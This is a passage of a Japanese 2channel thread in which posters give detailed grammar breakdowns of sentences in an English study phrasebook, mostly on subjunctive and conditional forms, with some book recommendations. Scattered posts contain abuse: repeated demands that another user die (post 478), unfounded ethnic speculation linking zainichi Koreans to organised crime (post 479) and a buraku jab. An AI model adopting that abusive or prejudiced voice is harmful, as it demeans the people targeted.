「But for...」(例文302)、「Without...」(例文304)だと時制を気にしなくて済みます。
該当箇所:
「§270 仮定法を含む慣用表現、[2] if it were not [had not been] for 〜」

条件節は、ifが省略されると倒置になります(「助動詞など」+「主語」+「動詞」の語順。例文197参照)。
この例文の場合は「If it were not for...」=「Were it not for...」。
該当箇所:
「§263 if の省略」

469 :西川口 ◆Im4lkGa4xk :2006/12/22(金) 01:38:08
批判や質問が全く無いというのも不健全ですが、最低限のマナーは
守るべきだと思います。

122の文
remind A of B (BをAに思い出させる)
直訳「この写真は、私に、古き良き日々を思い起こさせる。」

of 〜 「〜について」
「〜について」という日本語は、広い意味で用いることができるので、和訳のときには
重宝します。しかし、その反面、使い分けが難しかったりします。

I thought over the problem. 「〜について、くどくどと」
I thought of the problem. 「〜について、漠然と」
I thought about (around) the problem.「〜の周辺的な情報について」
I thought on the problem. 「〜について、みっちりと」

*一応の目安程度です。

470 :名無しさん@英語勉強中:2006/12/22(金) 02:19:43
700選を自力で品詞分解するのにいい文法書はありませんか?FORESTではかゆいところに手が届きません↓

471 :名無しさん@英語勉強中:2006/12/22(金) 02:32:27
ロイヤルやら英文法解説だろ

472 :名無しさん@英語勉強中:2006/12/22(金) 12:04:02
本屋でロイヤルは見つけましたが英文法解説がみつかりません。英文法解説は正式名称ですか?また、それは受験参考書コーナーに置いてありますか?質問ばかりですいません↓

473 :名無しさん@英語勉強中:2006/12/22(金) 13:12:42
ロイヤル置いてある所にないなら品切れだろ

474 :名無しさん@英語勉強中:2006/12/22(金) 19:47:00
>>472
これ
http://www.amazon.co.jp/exec/obidos/ASIN/4760820094

475 :名無しさん@英語勉強中:2006/12/22(金) 21:40:36
470です
書店で二つを比べることはできませんでしたが、ロイヤルも買って損はないだろうと思い今日すでに購入しました。いろいろと相談にのっていただきありがとうございました

476 :名無しさん@英語勉強中:2006/12/22(金) 21:42:54
What's your fantasy?
My fantasy right now is to get off.


477 :勝手口 ◆KatteG.R4k :2006/12/22(金) 21:56:47
297.(仮定法:[条件節=仮定法過去完了]+[帰結節=仮定法過去完了])
M2((If s v x)), / S / could have caught / O. (文型:S V O)

if節内は、S / had come / ((only)) M2 (文型:S V)
M2 のところは、((two minutes→)) earlier(「two minutes」は副詞的目的格)
比較級なのは、「(実際よりも)2分早く」ということです。

過去に関するたとえ話には、大過去形(過去完了形)を使います。
該当箇所:
「§260 仮定法過去完了」

ifを省略すると倒置になります(例文296参照)。


298.(仮定法:[条件節=仮定法過去完了]+[帰結節=仮定法過去])
M2((If s v x)), / S / would be / C / M2((now)). (文型:S V C)

if節内は、S / had not been / killed / M2((in...accident)) (文型:S V C)(受動態)

「あのとき〜だったとしたら、今、〜だろう」という「If 過去の反事実, 現在の反事実」の形です。
条件節は「過去のたとえ話」なので大過去形、帰結節は「現在のたとえ話」なので過去形になります。
該当箇所:
「§261 条件節と帰結節の時制」

なお、「If 現在にもあてはまる反事実, 過去の反事実」だと
[条件節=仮定法過去]+[帰結節=仮定法過去完了]になります。

478 :名無しさん@英語勉強中:2006/12/22(金) 23:42:06
>>463
自由と自己中の区別がつかないクズは死ねば?
どうせ生きてるだけで社会に迷惑かける害虫だろ。
ほら、死ねよ。さっさと死ねよ。
お前が生きてるだけでみんな迷惑なんだよ。
とっとと駆除されろ。
うざい!キモイ!臭い!汚い!穢らわしい!キエロ!!

479 :名無しさん@英語勉強中:2006/12/22(金) 23:51:09
http://dogma.at.webry.info/200612/article_19.html
記事には「韓国人」とのみ表現されているが、半島在住で一時滞在のコリアンで
あるはずがない。もちろん在日韓国人だ。

これらの在日韓国人が、一般の市民であるとは到底思えない。
あくまでも推測だが、暴力団組合員であろう。

そうなると少々厄介な問題も浮上してくる。在日絡みの犯罪であれば、
万全のデータを持つ京都府警外事課の協力が不可欠なのだ。

マル暴担当(刑事課)と外事課が連携し、どこまで周到な捜査が行えるか…

一抹の不安を感じる。メディアが大きな声をあげないと、
闇に埋もれてしまう恐れがあるのだ。

480 :名無しさん@英語勉強中:2006/12/22(金) 23:55:48
火病ったww

481 :名無しさん@英語勉強中:2006/12/23(土) 07:43:19
なんだ部落解放出か。

482 :名無しさん@英語勉強中:2006/12/23(土) 16:17:49
初心者で悪いのだが、勝手口氏の該当箇所にある「ロイヤル」って
黄色い表紙のやつ?もしくは青い表紙のやつ?どっち?

483 :名無しさん@英語勉強中:2006/12/23(土) 16:33:12


484 :勝手口 ◆KatteG.R4k :2006/12/23(土) 22:22:26
>>482
>>483さんの言う通り、青の『徹底例解 ロイヤル英文法 改訂新版』の方です。
もっておいて損はしないと思いますよ。


299.(仮定法:[条件節=should]+[帰結節=命令文])
M2((If s v x)), / don't hesitate / to v x. (文型:(S) V to do)(命令文)

if節内は、S / should have / O (文型:S V O)

to不定詞のところは、come / A((to me)) (文型:(S) V A)

例文299〜301は、未来の話をするケースです。
条件節に should を使うのは、「可能性は 0% じゃない。ただしかなり低い」と話し手が考える場合です。
「0% じゃない」の方を重視すれば、帰結節は直説法(現在形)になり、
「かなり低い」の方を重視すれば、帰結節は仮定法(過去形)になります。
基本的には書面での命令や依頼で使われることが多く(『実例英文法』§224E)、
例文299のように命令文(命令法)がくることも多いようです。
該当箇所:
「§262 were to, should を用いた仮定法、(2)〈if+主語+should+原形不定詞〉」

485 :勝手口 ◆KatteG.R4k :2006/12/23(土) 22:22:57
300.(仮定法:[条件節=would]+[帰結節=現在形])
M2((If s v x)), / S / believe / <(that) s v x>. (文型:S V O)
あるいは、気持ちとしては、
M2((If s v x)), // (I believe) // S / could come ((up)) / A((to O)). (文型:S V A)

if節内は、S / would give / me / O (文型:S V O O)

条件節に would を使うと、「主語の意志」を表します(例文258の解説参照)。
willを使うのと内容的には同じですが、
「たとえばの話なんですけどね」と、現実から距離をおいて尋ねることで、丁寧な表現になります
(「遠景化」と呼ばれます。安藤 p.324)。
帰結節の動詞の形は、話し手の考え方しだいで仮定法にも直説法にもなります。

この例文では、「I believe」のところだけ「たとえ話」ではなく「現実の話」になっています。
「I believe」や「I think」などは「カンマがなくても気持ち的には挿入」といった使い方をよくします。
『ジーニアス(G3)』(thinkの項の「I think」)によると、発言を和らげ丁寧な表現になるそうです。
(江川 p.498参照。例文236参照)

486 :西川口 ◆Im4lkGa4xk :2006/12/24(日) 00:07:43
123の文
刺されたり、撃たれたりするときは、まず「俺が」刺された、撃たれたという意識です。
その後に、どこをどんな風に刺されたかを説明する形。

He stabbed me in the shoulder. *ナイフ等が中まで入ってる感じ
He shot me through the shoulder. *弾は貫通してます
He grabbed me by the shoulder. *by はなんらかの「とっかかり」を

多少なりとも「圧力」を感じたら、on
He tapped me on the shoulder. 

take の基本は、「手にとって、自分に取り込む」そこから、「考える」という意味に発展します。
take A for B は、「AをBと、とらえる(考える)」

I took her for an actress. (女優だと思った)
He took me for dead. (死んだものと思った)
I took it for granted. (所与のものとして考えた→当たり前と思った)

He took me for some other person. (誰か他の人と思った)

487 :名無しさん@英語勉強中:2006/12/24(日) 12:51:17
>>484-486
乙です

488 :勝手口 ◆KatteG.R4k :2006/12/24(日) 23:23:56
301.(仮定法:[条件節=were to]+[帰結節=仮定法過去])
M2((Even if s v x)), / S / would not change / O. (文型:S V O)

if節内は、S / were to rise / A((in the west)) (文型:S V A)

未来に関するたとえ話だと明確に表現するとき、「If S were/was to do」を使うことがあります。
(『実例英文法』§222B)
受験英語では「If S should do」(例文299)より可能性が低いとか可能性 0% とか言ったりしますが、
客観的な可能性は問題ではありません。
「予測」ではなく「たとえ話」だという点が重要です。
あくまで「たとえ話」なので、帰結節は仮定法(過去形)になります。
該当箇所:
「§262 were to, should を用いた仮定法、(1)〈if+主語+were to+原形不定詞〉」

なお、「太陽が東『から』昇る」は「The sun rises in the east.」で、
「rise from...」ではないことに注意してください。
from は to(到達点)とセットで考えると用法がつかみやすいと思います。
○ The sun rises in the east. / The sun sets in the west.
× The sun rises from the east to the west.
○ Smoke was rising from the chimney. (to the sky) (例文はOALDより)
○ Bubbles rose from the bottom of the pond. (to the surface) (例文はランダムハウスより)

489 :西川口 ◆Im4lkGa4xk :2006/12/25(月) 01:10:45
124の文
can tell A from B
B から離して、Aを認識して言える→AをBと区別できる

from は「分離」(121の解説)
A is different from B
distinguish A from B
などの from と同じ。

以外と知らない、triplets(三つ子)、quads(四つ子)


125の文

temperatures が複数形。-10度、-20度...というような複数の温度を意識してると思われる。

現在形であるので、一般的な真理・法則。

turn A into B については、109の解説参照。

490 :勝手口 ◆KatteG.R4k :2006/12/25(月) 23:04:41
302.(仮定法:[条件要素=But for O]+[帰結節=仮定法過去])
M2((But for O)), what / would become of / O? (文型:S V O)(what疑問文:主格)

if節以外でも、仮定法の条件を表すことができます。
該当箇所:
「§264 if節の代用」


303.(仮定法:[条件要素=but (that) 直説法過去形]+[帰結節=仮定法過去完了])
S / would not have employed / O / M2((but <that s v x>)). (文型:S V O)

that節内は、S / was / ((very)) C (文型:S V C)

この「but (that)」は「〜ということでなければ」という意味で、「〜」には事実がきます。
なので that節内は直説法になります。
帰結節と法が異なるので、いつの話をしてるのか、注意が必要です。
該当箇所:
「§297 その他の副詞節を導く接続詞、[3] 除外などの副詞節を導く接続詞、(2)〈but(that)〉
 [注]if not の意味の but that」

491 :名無しさん@英語勉強中:2006/12/26(火) 21:38:55
西川口氏って、129の文を解説し終わったらどうする気なの?

492 :名無しさん@英語勉強中:2006/12/26(火) 22:06:55
┌───────────────────
│あ、どうもスイマセン、>>491がお騒がせしました・・・
└───v───────────────
     /⌒\ っ   /\
    /'⌒'ヽ \ っ/\  |
    (●.●) )/   |: | すぐ連れて逝きますんで・・・
     >冊/  ./     |: /
   /⌒   ミミ \   〆
   /   / |::|λ|    |
   |√7ミ   |::|  ト、   |
   |:/    V_ハ   |
  /| i         | ∧|∧
   и .i      N /⌒ ヽ) >>491
    λヘ、| i .NV  |   | |
      V\W   ( 、 ∪
              || |
              ∪∪


493 :勝手口 ◆KatteG.R4k :2006/12/26(火) 22:09:52
304.(仮定法:[条件要素=without O]+[帰結節=仮定法過去完了])
M2((Without O)), / S / would have given ((up)) / O. (文型:S V O)

仮定法で使う without は、「〜がなければ/なかったならば」という条件を表します。
同様に、with も「〜があれば/あったならば」という意味で使われますので憶えときましょう。
該当箇所:
「§264 if節の代用、(3) 副詞(句)」


305.(仮定法:[条件要素=to不定詞]+[帰結節=仮定法過去])
M2((To v x)), / S / would take / O / C((for an Englishman)) (文型:S V O C)

to不定詞のところは、hear / O / 原形不定詞 (文型:(S) V O C)
O C の部分(ネクサス)を、独立した文に変形すると、He / speaks / English. (文型:S V O)
(例文100参照)

to不定詞も仮定法の条件を表すことができます。
該当箇所:
「§264 if節の代用、(1) 不定詞」
「§219 to不定詞の副詞用法、[1] 動詞を修飾する用法、(5) 条件を表す」

take A for B については、例文123参照。
参考:
「§6 補語、[1] 補語になる語(句)、(9) 句」
「§14 特殊な文型、[3] その他の文型、(2) 〈as+補語〉」
「§329 for、(3) 交換を表す」

494 :名無しさん@英語勉強中:2006/12/26(火) 23:40:51
やっと静かになったな

495 :西川口 ◆Im4lkGa4xk :2006/12/27(水) 00:46:13
補足
124の文
one ... the other については、例文12の入口氏の解説がわかりやすいです。

126の文
実は、out of をどう解釈したらいいのか悩んでます。

解釈1
V + A out of B の基本は、Bから外にAを出す。
They could'nt take him out of the building. (建物から外に連れ出せなかった)
talk A out of B
B から外に、A を引っぱり出す。その手段がtalk という考え方。
説得して、彼をその計画から外に出した→説得して計画をやめさせた

解釈2
V + A out of B には、AからBを奪うというパタ―ンもあります。(117の文の考え方)
They cheated him out of his money. (彼をだまして、金を奪った)
He robbed me out of my purse. (私から財布を奪った)
talk A out of B
説得して、彼からその計画を奪った→説得して計画をやめさせた

説得という行為によって彼を「変化」させた点に注目すると、119の文に通じるものもありそうです。
どちらにしても、V + A out of B は、「AとBとの分離。それをもたらしたのがV」という点では、
共通ではないかと思います

496 :外野:2006/12/27(水) 02:20:35
>>495
126については
解釈1がいいと思う。

解釈2の方ですが、"out of" のこの用法は私の辞書には
「[結果を表して]〜を失って」と載っています。
"out of" の目的語として "project" は大きな概念で、
「失う」対象にするには無理があります。
この用法で使うなら "out of" のあとは財布、時計のようなものしかこないのでは。

ちなみに前置詞"out of"が登場するのは 119, 126 のほかに
34  "〜 must be out of order." 故障の反対は"in order"
226 "Get out of here."

497 :名無しさん@英語勉強中:2006/12/27(水) 02:43:44
補足。
>>495

> 説得という行為によって彼を「変化」させた点に注目すると、
> 119の文に通じるものもありそうです。

126 と 119 の比較は不適切だと思います。
119の場合、ねんどという素材を「変化させて」塑像を作り、
126の場合はプロジェクトの外側へ「引っ張り出す」わけですから、
プロジェクトをこねこねして彼の姿を変えるようなおかしい話にはならないですよね。

ただ、この二つは共通のイメージを持っているとは思います。
「内から外へ」「隠されているものを顕に」

それに対し下の二つは違いますね。普通の"out of"に慣れていると気持ち悪いです。
They cheated him out of his money.
He robbed me out of my purse.

そいではがんばってください。かげながら応援しています。

498 :名無しさん@英語勉強中:2006/12/27(水) 15:50:28
なんで文法解説・まとめサイトが更新されてないのでしょうか?

499 :名無しさん@英語勉強中:2006/12/27(水) 17:28:08
>>498
忙しいからじゃないの?年末だし。
しかし、何でまとめサイトの管理人を責める口調になるのかねぇ。


500 : ◆IuJiIQCtrs :2006/12/27(水) 18:34:57
叱咤激励だろ

501 :名無しさん@英語勉強中:2006/12/28(木) 10:54:31
              ,. -─────────‐- .、
             // ̄ ̄\      / ̄ ̄\\
           /                     \
          /        ::::::::::::::::::::::::::::::::       \
        /   / / ̄\\::::;;;;;;;;;;;;;;;;;:::::// ̄\\  \
       /    |  |. ┃ .| | ::::;;;;;;;;;;;;;::::| |. ┃ .| |    \                     
     /      \ \_// :::::::::::::::::: \\_//      \    また多人格自演荒らしかお?ww
    /     ../ ̄ ̄\ /   ::|::   \ / ̄ ̄\..     \
   /         :::::      |      |      |       :::::      ヽ.   
  |               |      |      |              |.
  |               \__/\__/               |                 
  |                |       |               |
  |                |r─‐┬──、|                |
  ヽ                |/   |    |              /
    \              \      /             /
     \               ̄ ̄ ̄ ̄             /


502 :名無しさん@英語勉強中:2006/12/28(木) 16:30:07
おまえが荒らしだろ。
ホント自分の思い通りにスレが進まないと暴れだすな。おまえは

503 :名無しさん@英語勉強中:2006/12/28(木) 19:33:01

          ____
       / \  /\
.     / (ー)  (ー)\
    /u::::⌒(__人__)⌒:::\   おまえが荒らしオマエだろwwwwww
    |      |r┬-|  u |
     \ u   `ー'´   /     ホント自分の思い通りにスレが進まないと暴れだすな。おまえは
    ノ        u   \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))
          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)  だっておwwwwwwww
| / / /     |r┬-|    | (⌒)/ / / //
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/
|     ノ     | |  |   \  /  )  /
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


504 : ◆IuJiIQCtrs :2006/12/28(木) 21:42:22
今度はAA荒らしか

505 :勝手口 ◆KatteG.R4k :2006/12/28(木) 22:14:21
>>495
例文126では「but, in vain」も気になりますね。
ttp://www.kirihara-kyoiku.net/peripatos/06/04.html
but なしで「中位」に置く用法もしっかり憶えておきたいところです。


306.(仮定法:[条件要素=分詞構文]+[帰結節=仮定法過去])
S, / M2, / would amount / A((to...)). (文型:S V A)

分詞構文が仮定法の条件を表すこともあります。
該当箇所:
「§264 if節の代用、(2) 分詞構文」


307.(仮定法:[条件要素=主語]+[帰結節=仮定法過去])
S / would realize / <how c s v>. (文型:S V O)

主語自体が仮定法の条件を表すこともあります。
無生物主語の場合もあります(『英文翻訳術』§9C)。
該当箇所:
「§264 if節の代用、(4) 主語の名詞」
参考:
「§74 不定冠詞の一般用法、[2]-(5)「どれでも」「〜というもの」(=any)という意味を表す」

how節は、
It / is / so wrong. (文型:S V C)
ってな形からの変形。

506 :名無しさん@英語勉強中:2006/12/29(金) 01:25:32
          ____
       / \  /\
.     / (ー)  (ー)\
    /u::::⌒(__人__)⌒:::\   例文126では「but, in vain」も気になりますね。
    |      |r┬-|  u |
     \ u   `ー'´   /    
    ノ        u   \
  /´               ヽ
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))
          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)  だっておwwwwwwww
| / / /     |r┬-|    | (⌒)/ / / //
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/
|     ノ     | |  |   \  /  )  /
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))



507 :名無しさん@英語勉強中:2006/12/29(金) 01:47:47
>>506

      _| ̄|_| ̄|  | ̄|_| ̄|__| ̄|_| ̄|   | ̄|_| ̄|_| ̄|
      |_  _||  | ̄    |  |     |  | ̄   |  |     ̄|
       r┘└へ|  |二コ ┌'|  |二コ ┌|  |二コ ┌'|  |二コ ┌┘
      〈 〈]  ゚,、〈|  | o  ヽ| | o  ヽ|  | o  ヽ|  | o └「 ̄\
      ヽ-ヘ_>ノ_ノ|_|、_ハ/|_|、_八ノ|_|、_ハ/|_|、_ハ/`⊇.ノ

        ____                ____                ____
      /⌒  ⌒\          ./⌒  ⌒\          ./⌒  ⌒\
    o゚((●)) ((●))゚o        o゚((●)) ((●))゚o       o゚((●)) ((●))゚o 
   /::::::⌒(__人__)⌒::::: \   /::::::⌒(__人__)⌒:::: \   /::::::⌒(__人__)⌒::::: \
, -‐ (_)    |r┬-|     |, -‐ (_)    |r┬-|     |, -‐ (_).    |r┬-|     |
l_j_j_j と)   | |  |     / l_j_j_j と)    | |  |     / l_j_j_j と)   | |  |     /


508 :名無しさん@英語勉強中:2006/12/29(金) 07:10:53
700選ってbut forとwithoutの仮定法の例文は載ってる?

509 :名無しさん@英語勉強中:2006/12/29(金) 11:01:10
but forはあったよな気がする

But for water nothing could live・・・なんとかみたいなだった気が

510 :名無しさん@英語勉強中:2006/12/29(金) 11:25:26
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\      
    /   ⌒(__人__)⌒ \    なかったら網羅じゃないだろw
    |      |r┬-|    |     indexを見るなり、まとめサイトをページ内検索しろよ。
     \     `ー'´   /      
    ノ            \    

  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


511 :名無しさん@英語勉強中:2006/12/29(金) 16:23:01
>>510
ごめん買ってない
品詞分解サイトではbut for もwithoutもそれらしいのはなかった

512 :名無しさん@英語勉強中:2006/12/29(金) 16:25:03
withoutなくて網羅とかウケるwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
所詮英作例文集の域を越えてないなwwwwwwwwwwwwwwwwwwwwwwwwww













513 :508:2006/12/29(金) 16:30:43
>>490
例文302 But for

>>493
例文304 Without

あるんでつねwwwwwwwwwwwwwwwww
やっぱり700選にしようかなwwwwwwwwwwwwww
300選はIf it were not forしかないっすwwwwwwwwwwwww
サーセンwwwwwwwwwwwwww

514 : ◆IuJiIQCtrs :2006/12/29(金) 17:16:25
>>513
氏ねよ

515 : ◆IuJiIQCtrs :2006/12/29(金) 17:31:42
502 :名無しさん@英語勉強中 :2006/12/28(木) 16:30:07
おまえが荒らしだろ。
ホント自分の思い通りにスレが進まないと暴れだすな。おまえは

516 :名無しさん@英語勉強中:2006/12/29(金) 18:31:28
509ではパッと頭に浮かんだのを書き出したんだが
全然違う文だったな。but for〜

700選じゃないとしたら何の文だったんだろ・・・


517 :勝手口 ◆KatteG.R4k :2006/12/29(金) 23:24:34
308.(仮定法:[条件要素=otherwise]+[帰結節=仮定法過去完了])
S / went / M2((at once)); (文型:S V)
M2((otherwise)), / S / would have missed / O. (文型:S V O)

セミコロンの後の otherwise はわかりやすいと思いますが、
「中位」にあるときはちょっと注意が必要です(江川 p.262)
該当箇所:
「§264 if節の代用、(3) 副詞(句)」
参考:
「§290 接続副詞、[1] 接続副詞の種類、(3) 選択的なもの」
「付録2 句読法、3.; セミコロン (Semicolon)、(2) 接続副詞を用いて結ぶときに」


309.(仮定法:[条件要素=前置詞句]+[帰結節=仮定法過去完了]
S / could have avoided / O / M2((by...experiments)). (文型:S V O)

前置詞句や、副詞的目的格、関係詞節なども仮定法の条件を表します。
(江川 pp.262-264。安藤 pp.379-380)

518 :名無しさん@英語勉強中:2006/12/30(土) 00:48:35
>>516
別のスレでたまたま見つけたけどそれ540構文らしい

519 :名無しさん@英語勉強中:2006/12/30(土) 01:12:07
>518
まじ?But for water nothing could live on earth. かなんかそんな感じ 
たしかに持っているが全然やらずダンボール箱の墓場行き・・・
本屋で立ち読みしたのを覚えていたのか。不思議なもんだ

520 :名無しさん@英語勉強中:2006/12/30(土) 01:16:10
http://academy4.2ch.net/test/read.cgi/english/1152926784/164
But for water, nothing could live.
まあありがちな例文だから違うかもね

521 :勝手口 ◆KatteG.R4k :2006/12/30(土) 23:57:05
310.(仮定法:as if 仮定法過去)
S / felt / ((as)) happy ((as if s v x)). (文型:S V C)

as if節内は、S / were ((still)) dreaming (文型:S V)(仮定法過去)

as if / as though は、「まるで〜のように」という意味で、「たとえ話」の場合には仮定法を使います。
その場合、主文と同じ時のたとえ話であれば仮定法過去に、
主文より前の時のたとえ話であれば仮定法過去完了になります。
(「状態=仮定法過去」「完了=仮定法過去完了」という区分もあります。安藤 p.375)
該当箇所:
「§270 仮定法を含む慣用表現、[1] as if 〜 [as though 〜]」
「§297 その他の副詞節を導く接続詞、(2) 〈as if〉,〈as though〉」
参考:
「§219 to不定詞の副詞用法、[1] 動詞を修飾する用法、[注]2.〈as if to 〜〉」


311.(仮定法:as though 仮定法過去完了)
S / pretends / A((as though s v x)). (文型:S V A)

as though節内は、S / had had / nothing {to do with O} (文型:S V O)(仮定法過去完了)
あるいは、S / had had nothing to do with / O (文型:S V O)(仮定法過去完了)

「have nothing to do with...」とその関連表現については以下を参照。
該当箇所:
「§169 be, do, have の用法、[2]-(3) do を含む慣用句、【3】 have something to do with 〜」
「§377 否定を表す慣用表現、[2] 注意すべき否定形の慣用表現、【9】〈have nothing to do with 〜〉」


今年はこれで終わりにします。
来年もよろしくお願いいたします。

522 :名無しさん@英語勉強中:2006/12/31(日) 00:46:39
とりあえずお疲れ

523 :名無しさん@英語勉強中:2006/12/31(日) 13:36:34
but for厨、but for the heat of the sun,..
っていうのがあったはずだからこれ以上騒ぐな

524 : 【大吉】 【1685円】 ◆IuJiIQCtrs :2007/01/01(月) 07:15:55
エロ帰ってこい。

525 : ◆IuJiIQCtrs :2007/01/01(月) 12:48:26
>>524
こいつエロじゃね?

526 : ◆IuJiIQCtrs :2007/01/01(月) 17:23:51
まずその大吉の出し方を書きこめ。
話はそれからだ。

527 : 【大吉】 【117円】 :2007/01/01(月) 17:25:02
>>526
!omikuji

528 : 【中吉】 :2007/01/01(月) 17:55:40
これでいいの?

529 : 【大吉】 :2007/01/01(月) 20:10:10


530 :!omikuji ◆IuJiIQCtrs :2007/01/02(火) 13:58:42
なるほど

531 :!omikuji!dama:2007/01/02(火) 14:41:23
こうか

532 :!omikuj i!dama:2007/01/02(火) 14:42:32
あれ

533 :!omikujあってるi!dama:2007/01/02(火) 18:48:19
今度こそ

534 :!omikuji :2007/01/02(火) 23:07:04
どうかな

535 :名無しさん@英語勉強中:2007/01/02(火) 23:12:03
しつこいから、規制してもらうか。

536 :!omikuji:2007/01/03(水) 00:06:11
この程度で規制掛けれるか専門スレで聞いてみろよワラ

537 :名無しさん@英語勉強中:2007/01/03(水) 00:07:57
なんで2日にもなって、おもくじしようとしてるバカがいるの?

538 :!omikuji:2007/01/03(水) 00:48:50
ft

539 :名無しさん@英語勉強中:2007/01/03(水) 14:27:56
まとめサイトのミス発見

540 :名無しさん@英語勉強中:2007/01/03(水) 14:28:38
態のところの番号違ってる

541 :名無しさん@英語勉強中:2007/01/03(水) 23:11:29
>>540
せっかくならもうちょっと具体的に指摘してよ。

542 :名無しさん@英語勉強中:2007/01/04(木) 19:58:03
皆どうしたんだ?

543 :名無しさん@英語勉強中:2007/01/05(金) 01:05:28
じゃあ700選の誤植をあげていこう。

P174 (索引) 左側21行目
(誤)trun + adj.
(正)turn + adj.

544 :名無しさん@英語勉強中:2007/01/05(金) 10:34:24
帰省中なんだろうなぁ

545 :名無しさん@英語勉強中:2007/01/05(金) 16:08:16
飽きられたっていい加減気づけよ

546 : ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2007/01/05(金) 16:34:12
         ____
       /      \
      /  ─    ─\     俺の計画が成功だお・・・
    /    (●)  (●) \
    |       (__人__)    | ________
     \        ̄    ./ .| |          |
    ノ           \ | |          |  
  /´                 | |          |
 |    l                | |          |
 ヽ    -一ー_~、⌒)^),-、   | |_________|
  ヽ ____,ノγ⌒ヽ)ニニ- ̄   | |  |

      / ̄ ̄ ̄\
    / ─    ─ \
   /  (●)  (●)  \.  俺はこの一年間何をしていたんだろう 
   |    (__人__)    | 荒らしで浪費した莫大な時間を何か有意義なことに使っていたら・・・
   \    ` ⌒´    /
   /           \


547 :名無しさん@英語勉強中:2007/01/05(金) 17:55:52
毎年恒例のおまえの不合格報告楽しみにしてるよ。

548 : ◆IuJiIQCtrs :2007/01/05(金) 18:17:18
>>545-547
多重人格粘着自演は多浪だったのかw

549 :名無しさん@英語勉強中:2007/01/05(金) 18:48:00
>>548
いや。ただの学歴コンプレックスだろ。
だから、スレを荒らしてるんじゃね?

550 :勝手口 ◆KatteG.R4k :2007/01/05(金) 22:29:33
遅くなりましたが、あけましておめでとうございます。
本年もよろしくです。


312.(仮定法:wish 仮定法過去)
M2((When s v x)), / I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
M2((When s v x)), // (I wish) // S / could speak / M2((...well...)). (文型:S V)

when節内は、S / hear / O / 原形不定詞 (文型:S V O C)
O C の部分(ネクサス)を、独立した文に変形すると、He / speaks / English. (文型:S V O)
(例文100、例文305参照)

「I wish/wished <仮定法>」で「たとえ話」としての願望を表します。
as if / as though と同様、主文と同じ時のたとえ話であれば仮定法過去を、
主文より前の時のたとえ話であれば仮定法過去完了を使います。
この形では、通常 that は省略されます。
該当箇所:
「§268 願望を表す構文」

M2((...well...)) のところは、副詞要素の入れ子構造なんで表記が難しいところですが、
((even)) / ((half)) ((as)) well ((as he does))
ってな感じで、あとは下記を参照してください。
参考:
「§151 倍数表現、[1] 〈as 〜 as …〉を用いた倍数表現、(1) 「AはBの〜倍の…である」の表し方」
「§131 倍数詞」

551 :勝手口 ◆KatteG.R4k :2007/01/05(金) 22:34:53
遅くなりましたが、あけましておめでとうございます。
本年もよろしくです。


312.(仮定法:wish 仮定法過去)
M2((When s v x)), / I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
M2((When s v x)), // (I wish) // S / could speak / M2((...well...)). (文型:S V)

when節内は、S / hear / O / 原形不定詞 (文型:S V O C)
O C の部分(ネクサス)を、独立した文に変形すると、He / speaks / English. (文型:S V O)
(例文100、例文305参照)

「I wish/wished <仮定法>」で「たとえ話」としての願望を表します。
as if / as though と同様、主文と同じ時のたとえ話であれば仮定法過去を、
主文より前の時のたとえ話であれば仮定法過去完了を使います。
この形では、通常 that は省略されます。
該当箇所:
「§268 願望を表す構文」

M2((...well...)) のところは、副詞要素の入れ子構造なんで表記が難しいところですが、
((even)) / ((half)) ((as)) well ((as he does))
ということで、あとは下記を参照してください。
参考:
「§151 倍数表現、[1] 〈as 〜 as …〉を用いた倍数表現、(1) 「AはBの〜倍の…である」の表し方」
「§131 倍数詞」

552 :勝手口 ◆KatteG.R4k :2007/01/05(金) 22:35:36
遅くなりましたが、あけましておめでとうございます。
本年もよろしくです。


312.(仮定法:wish 仮定法過去)
M2((When s v x)), / I / wish / <s v x>. (文型:S V O)
あるいは、気持ちとしては、
M2((When s v x)), // (I wish) // S / could speak / M2((...well...)). (文型:S V)

when節内は、S / hear / O / 原形不定詞 (文型:S V O C)
O C の部分(ネクサス)を、独立した文に変形すると、He / speaks / English. (文型:S V O)
(例文100、例文305参照)

「I wish/wished <仮定法>」で「たとえ話」としての願望を表します。
as if / as though と同様、主文と同じ時のたとえ話であれば仮定法過去を、
主文より前の時のたとえ話であれば仮定法過去完了を使います。
この形では、通常 that は省略されます。
該当箇所:
「§268 願望を表す構文」

M2((...well...)) のところは、副詞要素の入れ子構造なんで表記が難しいところですが、
((even)) / ((half)) ((as)) well ((as he does))
ということで、あとは下記を参照してください。
参考:
「§151 倍数表現、[1] 〈as 〜 as …〉を用いた倍数表現、(1) 「AはBの〜倍の…である」の表し方」
「§131 倍数詞」

553 :勝手口 ◆KatteG.R4k :2007/01/05(金) 22:36:19
遅くなりましたが、あけましておめでとうございます。
本年もよろしくです。


312.(仮定法:wish 仮定法過去)
